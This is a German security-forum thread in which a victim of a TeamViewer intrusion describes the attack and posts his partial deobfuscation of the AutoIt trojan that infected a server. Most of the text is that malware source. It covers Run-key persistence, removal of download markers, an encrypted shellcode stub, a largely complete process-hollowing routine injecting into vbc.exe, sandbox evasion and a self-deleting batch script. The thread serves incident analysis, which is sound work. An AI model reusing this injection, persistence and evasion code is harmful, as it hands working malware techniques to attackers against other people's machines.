|
Plagegeister aller Art und deren Bekämpfung: Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. UrsprungsdateiWindows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen. |
08.08.2015, 18:33 | #1 |
| Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei Hallo liebes Board, bisher war ich der Meinung, mein System sehr gut abgesichert zu haben - aber leider ist mir eine Lücke entgangen... Kurz zur Vorgeschichte: Wir haben einen Verbund von mehreren Rechnern, die über TeamViewer teils für unbeaufsichtigten Zugriff konfiguriert sind. Sprich, man kann sich vom einen zum anderen Rechner ohne Passwort verbinden, wenn man das Master-Passwort kennt. Vor circa 30 Minuten saß ich (zum Glück) gerade an meinem Rechner, als plötzlich eine eingehende Verbindung initalisiert wurde - mit meinem eigenen Namen?! Geistesgegenwärtig habe ich den sich gerade öffnenden Dateiübertragungsserver sofort geschlossen, die Verbindung getrennt und alle Passwörter umgehend geändert. Soweit ich es bisher untersucht habe, konnte die Datei nicht übertragen und schon gar nicht ausgeführt werden. Auch Daten wurden nicht entwendet. Leider hatte ein anderer Rechner im Verbund nicht so viel Glück. Er wurde definitiv infiziert. Es wurden Daten entwendet (was genau ist noch unklar, ich tippe mal auf Passwörter u.Ä.) und definitiv Schadsoftware installiert. Ich habe die Datei auch bei VirusTotal hochgeladen: https://www.virustotal.com/de/file/b2b0f3a0941d65590c035c8ecc69f9ef20284a3a9fda08e661ac4e99840db33b/analysis/1439053104/ Diese Ursprungsdatei habe ich hier auch noch vorliegen. Ich wollte sie jetzt hier nicht hochladen, da ich nicht weiß, ob das ok wäre. Ich würde sie aber natürlich einem Analysten gerne zur Verfügung stellen, damit man feststellen kann, welche Daten genau entwendet wurden. Den betroffenen Rechner habe ich natürlich sofort heruntergefahren - leider startet er sich aber automatisch immer neu, sodass ich nun die Internetverbindung kappen muss. Physisch Wäre schön, wenn jemand eine Idee hat. Ich werde derweil mal versuchen, das ganze in einer VM zu testen. P.S.: Die TeamViewer-ID von diesem Mistkerl ist übrigens die 302087758 - vllt. mag sich das ja ein Greyhat auch mal genauer ansehen, was da noch so los ist... Sobald die Hotline von TV wieder erreichbar ist werde ich dort die Herausgabe der Daten verlangen und mal sehen, ob man da nicht mit einer Anzeige was erreichen kann. Leider ist die Abteilung Cyberkriminalität vom Kriminaldauerdienst am Wochenende nicht besetzt, die haben mich auf Montag vertröstet Geändert von FabulousGee (08.08.2015 um 18:49 Uhr) |
08.08.2015, 20:24 | #2 |
/// the machine /// TB-Ausbilder | Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei Hi,
__________________Schick die Datei mal an schrauber(at)trojaner-board.de
__________________ |
09.08.2015, 02:50 | #3 |
| Bestätigter Virus - Analyse/Säuberung des Trojaner/Keylogger inkl. Ursprungsdatei Habs dir als Archiv geschickt.
__________________Ich gehe mittlerweile davon aus, dass da kein Profi am Werk war. Der Angriff lief scheinbar manuell ab, auch der Weg über Teamviewer die Dateien zu kopieren scheint semi-professionell. Augenscheinlich wurden erstmal nur Basic-Daten entwendet (wobei das ein Spezialist näher untersuchen muss, ich kenne ich mich nur rudimentär aus). Außerdem wurde der Virus/Trojaner scheinbar mit AutoIt entwickelt - für Profis nicht unbedingt die erste Wahl. Ist eher was für die Fraktion Skriptkiddies Achso, das inifizierte Betriebssystem ist übrigens Windows Server 2012 - meins daheim Windows 10. Meins hier daheim hat nichts abbekommen, hab ich mittlerweile nochmal mit den bekannten Tools hier gecheckt. Der AutoIt-Code ist ziemlich stark obfuscated. Hier mal mein aktueller Stand, vielleicht kann ja jemand schon was rauslesen... (Es sind teilweise Fehler drin und der Code dürfte nicht kompilieren, ist also nutzlos für Scriptkiddies und dergleichen ) Ich denke, ich kann erst morgen weitermachen - meine Augen wollen nicht mehr so wie ich. Code:
ATTFilter #NoTrayIcon If FileExists($CmdLine[1] & ':' & 'Zone.Identifier') Then DllCall('kernel32.dll', 'bool', 'DeleteFileW', 'wstr', $CmdLine[1] & ':' & 'Zone.Identifier') FileSetAttrib($CmdLine[1], "+" & "SH") RegWrite("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cmd", "REG_SZ", $CmdLine[1]) $incl2Content = FileRead(@TempDir & "\incl2") Local $byte = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001" & _ "000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F09203" & _ "45100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF4" & _ "86843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025" & _ "FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5" & _ "ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B7508" & _ "01D6300642EB985F5E5BC9C21000" Local $dllStruct = DllStructCreate("byte[" & BinaryLen($byte) & "]") Local $dllStruct2 = DllStructCreate("byte[" & BinaryLen($incl2Content) & "]") DllStructSetData($dllStruct, 1, $byte) DllStructSetData($dllStruct2, 1, $incl2Content) DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($dllStruct), "ptr", DllStructGetPtr($dllStruct2), "int", BinaryLen($incl2Content), "str", "cKDYReZyuWfy61QulAryNR7EYMaDbe", "int", 0) $U33STO = DllStructGetData($dllStruct2, 1) $Z35UEB7lP = X34UeeV($U33STO, D33388gcMC(), "") While 1 If Not ProcessExists($Z35UEB7lP) Then $Z35UEB7lP = X34UeeV($U33STO, D33388gcMC(), "") Endif RegWrite("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cmd", "REG_SZ", $CmdLine[1]) Sleep(100) WEnd Func checkForSandbox() If ProcessExists("SandboxieRpcSs.exe") OR ProcessExists("SandboxieDcomLaunch.exe") Then Exit EndIf EndFunc Global $M3131bk7 = ProcessList() #region X34UeeV Func X34UeeV($K3336CU, $J3337fv0 = $CmdLine[1], $Q3338up1RPa = "") Local $F3431gdkgk = DllStructCreate("byte[" & BinaryLen($K3336CU) & "]"), $32Or64Bit, $A3434Awlq, $T34357y4o, $P3436DDYOo, $T3437TG36, $M3438toP, $U3439RlPADx, $K3530gWa, $D3531XIR4i2, $X3532Zi, $N3533kyfrhm, $G35344C4, $Z3535ydppu DllStructSetData($F3431gdkgk, 1, $K3336CU) Local $R35384mv = DllStructGetPtr($F3431gdkgk), $S3630nhJ7kX = DllStructCreate("ptr Process;ptr Thread;dword ProcessId;dword ThreadId") Local @CRLF = DllCall("kernel32.dll", "bool", "CreateProcessW", "wstr", $J3337fv0, "wstr", $Q3338up1RPa, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr(DllStructCreate("dword cbSize;ptr Reserved;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved2;ptr hStdInput;ptr hStdOutput;ptr hStdError")), "ptr", DllStructGetPtr($S3630nhJ7kX)) If @error Or Not @CRLF[0] Then Return 0 Local $B3732rjO = DllStructGetData($S3630nhJ7kX, "Process"), $U3734zWbmn = DllStructGetData($S3630nhJ7kX, "Thread") If @AutoItX64 And E38zXvY13($B3732rjO) Then Return W3130CLmo($B3732rjO) If @AutoItX64 Then If @OSArch = "X64" Then $32Or64Bit = 2 $A3434Awlq = DllStructCreate("align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;dword ContextFlags; dword MxCsr;word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;uint64 Rip;uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];uint64 VectorRegister[52]; uint64 VectorControl;uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip") Else Return W3130CLmo($B3732rjO) EndIf Else $32Or64Bit = 1 $A3434Awlq = DllStructCreate("dword ContextFlags;dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;dword SegGs; dword SegFs; dword SegEs; dword SegDs;dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;byte ExtendedRegisters[512]") EndIf Switch $32Or64Bit Case 1 $T34357y4o = 0x10007 Case 2 $T34357y4o = 0x100007 EndSwitch DllStructSetData($A3434Awlq, "ContextFlags", $T34357y4o) @CRLF = DllCall("kernel32.dll", "bool", "GetThreadContext", "handle", $U3734zWbmn, "ptr", DllStructGetPtr($A3434Awlq)) If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO) Switch $32Or64Bit Case 1 $P3436DDYOo = DllStructGetData($A3434Awlq, "Ebx") Case 2 $P3436DDYOo = DllStructGetData($A3434Awlq, "Rdx") EndSwitch Local $N3939Yf = DllStructCreate("char Magic[2];word BytesOnLastPage;word Pages;word Relocations;word SizeofHeader;word MinimumExtra;word MaximumExtra;word SS;word SP;word Checksum;word IP;word CS;word Relocation;word Overlay;char Reserved[8];word OEMIdentifier;word OEMInformation;char Reserved2[20];dword AddressOfNewExeHeader", $R35384mv), $F313031vdTPLi = $R35384mv $R35384mv += DllStructGetData($N3939Yf, "AddressOfNewExeHeader") Local $V313035mI = DllStructGetData($N3939Yf, "Magic") If Not ($V313035mI == "MZ") Then Return W3130CLmo($B3732rjO) Local $X313039hiL = DllStructCreate("dword Signature", $R35384mv) $R35384mv += 4 If DllStructGetData($X313039hiL, "Signature") <> 17744 Then Return W3130CLmo($B3732rjO) Local $S313134jWhG = DllStructCreate("word Machine;word NumberOfSections;dword TimeDateStamp;dword PointerToSymbolTable;dword NumberOfSymbols;word SizeOfOptionalHeader;word Characteristics", $R35384mv), $S313136YFRM0t = DllStructGetData($S313134jWhG, "NumberOfSections") $R35384mv += 20 Local $H313139A4s = DllStructCreate("word Magic;", $R35384mv), $R313231ae = DllStructGetData($H313139A4s, 1), $Y3132334lfa If $R313231ae = 267 Then If @AutoItX64 Then Return W3130CLmo($B3732rjO) $Y3132334lfa = DllStructCreate("word Magic;byte MajorLinkerVersion;byte MinorLinkerVersion;dword SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;dword BaseOfData;dword ImageBase;dword SectionAlignment;dword FileAlignment;word MajorOperatingSystemVersion;word MinorOperatingSystemVersion;word MajorImageVersion;word MinorImageVersion;word MajorSubsystemVersion;word MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;word Subsystem;word DllCharacteristics;dword SizeOfStackReserve;dword SizeOfStackCommit;dword SizeOfHeapReserve;dword SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes", $R35384mv) $R35384mv += 96 ElseIf $R313231ae = 523 Then If Not @AutoItX64 Then Return W3130CLmo($B3732rjO) $Y3132334lfa = DllStructCreate("word Magic;byte MajorLinkerVersion;byte MinorLinkerVersion;dword SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;uint64 ImageBase;dword SectionAlignment;dword FileAlignment;word MajorOperatingSystemVersion;word MinorOperatingSystemVersion;word MajorImageVersion;word MinorImageVersion;word MajorSubsystemVersion;word MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;word Subsystem;word DllCharacteristics;uint64 SizeOfStackReserve;uint64 SizeOfStackCommit;uint64 SizeOfHeapReserve;uint64 SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes", $R35384mv) $R35384mv += 112 Else Return W3130CLmo($B3732rjO) EndIf Local $F313335JnK = DllStructGetData($Y3132334lfa, "AddressOfEntryPoint"), $W313337uhBVD2 = DllStructGetData($Y3132334lfa, "SizeOfHeaders"), $P3133392Uc = DllStructGetData($Y3132334lfa, "ImageBase"), $S313431C3 = DllStructGetData($Y3132334lfa, "SizeOfImage") $R35384mv += 40 Local $K313434405HMa = DllStructCreate("dword a; dword b", $R35384mv), $A3134361vSa7a = DllStructGetData($K313434405HMa, "a"), $Y313438uYxU = DllStructGetData($K313434405HMa, "b") If $A3134361vSa7a And $Y313438uYxU Then $T3437TG36 = True $R35384mv += 88 If $T3437TG36 Then $U3439RlPADx = N36sQg($B3732rjO, $S313431C3) If @error Then $U3439RlPADx = P35ppyQDA($B3732rjO, $P3133392Uc, $S313431C3) If @error Then I373b610($B3732rjO, $P3133392Uc) $U3439RlPADx = P35ppyQDA($B3732rjO, $P3133392Uc, $S313431C3) If @error Then Return W3130CLmo($B3732rjO) EndIf EndIf $M3438toP = True Else $U3439RlPADx = P35ppyQDA($B3732rjO, $P3133392Uc, $S313431C3) If @error Then I373b610($B3732rjO, $P3133392Uc) $U3439RlPADx = P35ppyQDA($B3732rjO, $P3133392Uc, $S313431C3) If @error Then Return W3130CLmo($B3732rjO) EndIf EndIf DllStructSetData($Y3132334lfa, "ImageBase", $U3439RlPADx) Local $I313833pf = DllStructCreate("byte[" & $S313431C3 & "]"), $X313835uc = DllStructGetPtr($I313833pf), $I3138376izn = DllStructCreate("byte[" & $W313337uhBVD2 & "]", $F313031vdTPLi) DllStructSetData($I313833pf, 1, DllStructGetData($I3138376izn, 1)) For $B3233Tv = 1 To $S313136YFRM0t $K3530gWa = DllStructCreate("char Name[8];dword UnionOfVirtualSizeAndPhysicalAddress;dword VirtualAddress;dword SizeOfRawData;dword PointerToRawData;dword PointerToRelocations;dword PointerToLinenumbers;word NumberOfRelocations;word NumberOfLinenumbers;dword Characteristics", $R35384mv) $D3531XIR4i2 = DllStructGetData($K3530gWa, "SizeOfRawData") $X3532Zi = $F313031vdTPLi + DllStructGetData($K3530gWa, "PointerToRawData") $N3533kyfrhm = DllStructGetData($K3530gWa, "VirtualAddress") $G35344C4 = DllStructGetData($K3530gWa, "UnionOfVirtualSizeAndPhysicalAddress") If $G35344C4 And $G35344C4 < $D3531XIR4i2 Then $D3531XIR4i2 = $G35344C4 If $D3531XIR4i2 Then DllStructSetData(DllStructCreate("byte[" & $D3531XIR4i2 & "]", $X313835uc + $N3533kyfrhm), 1, DllStructGetData(DllStructCreate("byte[" & $D3531XIR4i2 & "]", $X3532Zi), 1)) EndIf If $M3438toP Then If $N3533kyfrhm <= $A3134361vSa7a And $N3533kyfrhm + $D3531XIR4i2 > $A3134361vSa7a Then $Z3535ydppu = DllStructCreate("byte[" & $Y313438uYxU & "]", $X3532Zi + ($A3134361vSa7a - $N3533kyfrhm)) EndIf EndIf $R35384mv += 40 Next If $M3438toP Then I391m4k($X313835uc, $Z3535ydppu, $U3439RlPADx, $P3133392Uc, $R313231ae = 523) @CRLF = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $B3732rjO, "ptr", $U3439RlPADx, "ptr", $X313835uc, "dword_ptr", $S313431C3, "dword_ptr*", 0) If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO) Local $S323433rXixP = DllStructCreate("byte InheritedAddressSpace;byte ReadImageFileExecOptions;byte BeingDebugged;byte Spare;ptr Mutant;ptr ImageBaseAddress;ptr LoaderData;ptr ProcessParameters;ptr SubSystemData;ptr ProcessHeap;ptr FastPebLock;ptr FastPebLockRoutine;ptr FastPebUnlockRoutine;dword EnvironmentUpdateCount;ptr KernelCallbackTable;ptr EventLogSection;ptr EventLog;ptr FreeList;dword TlsExpansionCounter;ptr TlsBitmap;dword TlsBitmapBits[2];ptr ReadOnlySharedMemoryBase;ptr ReadOnlySharedMemoryHeap;ptr ReadOnlyStaticServerData;ptr AnsiCodePageData;ptr OemCodePageData;ptr UnicodeCaseTableData;dword NumberOfProcessors;dword NtGlobalFlag;byte Spare2[4];int64 CriticalSectionTimeout;dword HeapSegmentReserve;dword HeapSegmentCommit;dword HeapDeCommitTotalFreeThreshold;dword HeapDeCommitFreeBlockThreshold;dword NumberOfHeaps;dword MaximumNumberOfHeaps;ptr ProcessHeaps;ptr GdiSharedHandleTable;ptr ProcessStarterHelper;ptr GdiDCAttributeList;ptr LoaderLock;dword OSMajorVersion;dword OSMinorVersion;dword OSBuildNumber;dword OSPlatformId;dword ImageSubSystem;dword ImageSubSystemMajorVersion;dword ImageSubSystemMinorVersion;dword GdiHandleBuffer[34];dword PostProcessInitRoutine;dword TlsExpansionBitmap;byte TlsExpansionBitmapBits[128];dword SessionId") @CRLF = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "ptr", $B3732rjO, "ptr", $P3436DDYOo, "ptr", DllStructGetPtr($S323433rXixP), "dword_ptr", DllStructGetSize($S323433rXixP), "dword_ptr*", 0) If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO) DllStructSetData($S323433rXixP, "ImageBaseAddress", $U3439RlPADx) @CRLF = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $B3732rjO, "ptr", $P3436DDYOo, "ptr", DllStructGetPtr($S323433rXixP), "dword_ptr", DllStructGetSize($S323433rXixP), "dword_ptr*", 0) If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO) Switch $32Or64Bit Case 1 DllStructSetData($A3434Awlq, "Eax", $U3439RlPADx + $F313335JnK) Case 2 DllStructSetData($A3434Awlq, "Rcx", $U3439RlPADx + $F313335JnK) EndSwitch @CRLF = DllCall("kernel32.dll", "bool", "SetThreadContext", "handle", $U3734zWbmn, "ptr", DllStructGetPtr($A3434Awlq)) If @error Or Not @CRLF[0] Then Return W3130CLmo($B3732rjO) @CRLF = DllCall("kernel32.dll", "dword", "ResumeThread", "handle", $U3734zWbmn) If @error Or @CRLF[0] = -1 Then Return W3130CLmo($B3732rjO) DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $B3732rjO) DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $U3734zWbmn) Return DllStructGetData($S3630nhJ7kX, "ProcessId") EndFunc Func P35ppyQDA($B3732rjO, $Y323836f1Ej, $Q323837vv) Local @CRLF = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $B3732rjO, "ptr", $Y323836f1Ej, "dword_ptr", $Q323837vv, "dword", 0x1000, "dword", 64) If @error Or Not @CRLF[0] Then @CRLF = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $B3732rjO, "ptr", $Y323836f1Ej, "dword_ptr", $Q323837vv, "dword", 0x3000, "dword", 64) If @error Or Not @CRLF[0] Then Return SetError(1, 0, 0) EndIf Return @CRLF[0] EndFunc Func N36sQg($B3732rjO, $Q323837vv) Local @CRLF = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $B3732rjO, "ptr", 0, "dword_ptr", $Q323837vv, "dword", 0x3000, "dword", 64) If @error Or Not @CRLF[0] Then Return SetError(1, 0, 0) Return @CRLF[0] EndFunc Func I373b610($B3732rjO, $Y323836f1Ej) DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", "ptr", $B3732rjO, "ptr", $Y323836f1Ej) If @error Then Return SetError(1, 0, 0) Return 1 EndFunc Func E38zXvY13($B3732rjO) Local @CRLF = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $B3732rjO, "bool*", 0) If @error Or Not @CRLF[0] Then Return SetError(1, 0, 0) Return @CRLF[2] EndFunc Func I391m4k($X313835uc, $V3332354lR, $Q333236JBYCfB, $X333237sEGRT, $C333238IG0tSj) Local $W333239BuqR, $F333330aqmT, $M333331Q5jti, $D333332hY0i6p, $Y333333YxnZ, $F333334uTGp, $32Or64Bit = 3 + 7 * $C333238IG0tSj While $F333330aqmT < DllStructGetSize($V3332354lR) $W333239BuqR = DllStructCreate("dword a; dword b", DllStructGetPtr($V3332354lR) + $F333330aqmT) $M333331Q5jti = DllStructGetData($W333239BuqR, Chr(98)) $Y333333YxnZ = DllStructCreate("word[" & (($M333331Q5jti - 8) / 2) & Chr(93), DllStructGetPtr($W333239BuqR) + 8) For $B3233Tv = 1 To (($M333331Q5jti - 8) / 2) If BitShift(DllStructGetData($Y333333YxnZ, 1, $B3233Tv), 12) = $32Or64Bit Then $F333334uTGp = DllStructCreate("ptr", $X313835uc + DllStructGetData($W333239BuqR, "a") + BitAND(DllStructGetData($Y333333YxnZ, 1, $B3233Tv), 0xFFF)) DllStructSetData($F333334uTGp, 1, DllStructGetData($F333334uTGp, 1) + $Q333236JBYCfB - $X333237sEGRT) EndIf Next $F333330aqmT += $M333331Q5jti WEnd Return 1 EndFunc Func W3130CLmo($P3336343w) DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $P3336343w, "dword", 0) Return 0 EndFunc #endregion Func isAttackableSystem() If (StringInStr(@OSVersion, "XP") AND StringInStr(@UserName, "Admin") AND StringInStr(@ComputerName, "pc") AND StringInStr(@OSServicePack, "3")) = True Then If $M3131bk7[18][0] = "msmsgs.exe" And $M3131bk7[19][0] = "reader_sl.exe" And $M3131bk7[20][0] = "alg.exe" And $M3131bk7[21][0] = "wscntfy.exe" Then Exit EndIf EndFunc Func W3234j1($fileName, $destination, $K343038oBz = false) Execute("FileCopy('" & $fileName & "', '" & $destination & "')") Execute('ShellExecute("' & $destination & '")') If $K343038oBz Then H3335yxY() Exit EndFunc Func X3330YX($V343139vzbQ, $fileName) Sleep(1000) Switch $V343139vzbQ Case "1" If $CmdLine[1] <> "@AppDataDir" & "\" & $fileName Then W3234j1($CmdLine[1], "@AppDataDir" & "\" & $fileName, true) EndIf Case "2" If $CmdLine[1] <> "@TempDir" & "\" & $fileName Then W3234j1($CmdLine[1], "@TempDir" & "\" & $fileName, true) EndIf Case "3" If $CmdLine[1] <> "@AppDataDir" & "\" & $fileName Then W3234j1($CmdLine[1], "@AppDataDir" & "\" & $fileName) EndIf Case "4" If $CmdLine[1] <> "@TempDir" & "\" & $fileName Then W3234j1($CmdLine[1], "@TempDir" & "\" & $fileName) EndIf EndSwitch EndFunc Func Q33327cE(@CRLF) Global $F3135YfH = FileFindFirstFile(StringRegExpReplace(@CRLF, "[\\/]+$", "") & "\*") Return $F3135YfH EndFunc Func hasDefaultBrowser() If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice", "Progid") <> '' Then Return True Return False EndFunc Func H3335yxY() Local $newScript = @TempDir & "\" & Random(50, 100, 1) & ".bat" FileDelete($newScript) FileWrite($newScript, 'ping -n ' & 0 & '127.0.0.1 > nul' & @CRLF & ':loop' & @CRLF & 'del "' & @ScriptDir & "\" & @ScriptName & '"' & @CRLF & 'if exist "' & @ScriptDir & "\" & @ScriptName & '" goto loop' & @CRLF & 'del ' & $newScript) Run($newScript, @TempDir, @SW_HIDE) EndFunc Func J3336pLYk() If hasDefaultBrowser() Then Return StringLeft(StringTrimLeft(RegRead("HKEY_CLASSES_ROOT\shell\open\command", Null), 1), StringInStr(StringTrimLeft(RegRead("HKEY_CLASSES_ROOT\shell\open\command", Null), 1), '"') - 1) Return StringLeft(StringTrimLeft(RegRead("HKEY_CLASSES_ROOT\http\shell\open\command", Null), 1), StringInStr(StringTrimLeft(RegRead("HKEY_CLASSES_ROOT\http\shell\open\command", Null), 1), '"') - 1) EndFunc Func Z3337tF($S343634cMb, $R343635p8 = "*", $Z343636A4r = 0, $U3436377V5 = False) Local $G3436395v = "" Local $nextFile = "" Local $J343731fmlc = "" Local $S343634cMb = StringRegExpReplace($S343634cMb, "[\\/]+$", "") & "\" If $U3436377V5 Then $J343731fmlc = $S343634cMb If Not FileExists($S343634cMb) Then Return SetError(1, 0, 0) If StringRegExp($R343635p8, "[\\/:><\|]|(?s)^\s*$") Then Return SetError(2, 0, 0) If Not ($Z343636A4r = 0 Or $Z343636A4r = 1 Or $Z343636A4r = 2) Then Return SetError(3, 0, 0) Local $U343836Tjb = FileFindFirstFile($S343634cMb & $R343635p8) If @error Then Return SetError(4, 0, 0) While 1 $nextFile = FileFindNextFile($U343836Tjb) If @error Then ExitLoop If ($Z343636A4r + @extended = 2) Then ContinueLoop $G3436395v &= "|" & $J343731fmlc & $nextFile WEnd FileClose($U343836Tjb) If $G3436395v = "" Then Return SetError(4, 0, 0) Return StringSplit(StringTrimLeft($G3436395v, 1), "|") EndFunc Func D33388gcMC() Local $Q353030p7 = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework", "InstallRoot") Local $K353031wO0 = Z3337tF($Q353030p7 , "*", 2), $U353033AT = '' For $B3233Tv = $K353031wO0[0] To 1 Step -1 If StringRegExp($K353031wO0[$B3233Tv], "v4\.0\.\d+", 0) Then $U353033AT = $K353031wO0[$B3233Tv] ExitLoop ElseIf StringRegExp($K353031wO0[$B3233Tv], "v2\.0\.\d+", 0) Then $U353033AT = $K353031wO0[$B3233Tv] ExitLoop EndIf Next Return $Q353030p7 & $U353033AT & "\vbc.exe" EndFunc Code:
ATTFilter 1=dword cbSize;ptr Reserved;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved2;ptr hStdInput;ptr hStdOutput;ptr hStdError 2=ptr Process;ptr Thread;dword ProcessId;dword ThreadId 3=kernel32.dll 4=ntdll.dll 5=align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;dword ContextFlags; dword MxCsr;word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;uint64 Rip;uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];uint64 VectorRegister[52]; uint64 VectorControl;uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip 6=dword ContextFlags;dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;dword SegGs; dword SegFs; dword SegEs; dword SegDs;dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;byte ExtendedRegisters[512] 7=char Magic[2];word BytesOnLastPage;word Pages;word Relocations;word SizeofHeader;word MinimumExtra;word MaximumExtra;word SS;word SP;word Checksum;word IP;word CS;word Relocation;word Overlay;char Reserved[8];word OEMIdentifier;word OEMInformation;char Reserved2[20];dword AddressOfNewExeHeader 8=word Machine;word NumberOfSections;dword TimeDateStamp;dword PointerToSymbolTable;dword NumberOfSymbols;word SizeOfOptionalHeader;word Characteristics 9=word Magic;byte MajorLinkerVersion;byte MinorLinkerVersion;dword SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;dword BaseOfData;dword ImageBase;dword SectionAlignment;dword FileAlignment;word MajorOperatingSystemVersion;word MinorOperatingSystemVersion;word MajorImageVersion;word MinorImageVersion;word MajorSubsystemVersion;word MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;word Subsystem;word DllCharacteristics;dword SizeOfStackReserve;dword SizeOfStackCommit;dword SizeOfHeapReserve;dword SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes 10=word Magic;byte MajorLinkerVersion;byte MinorLinkerVersion;dword 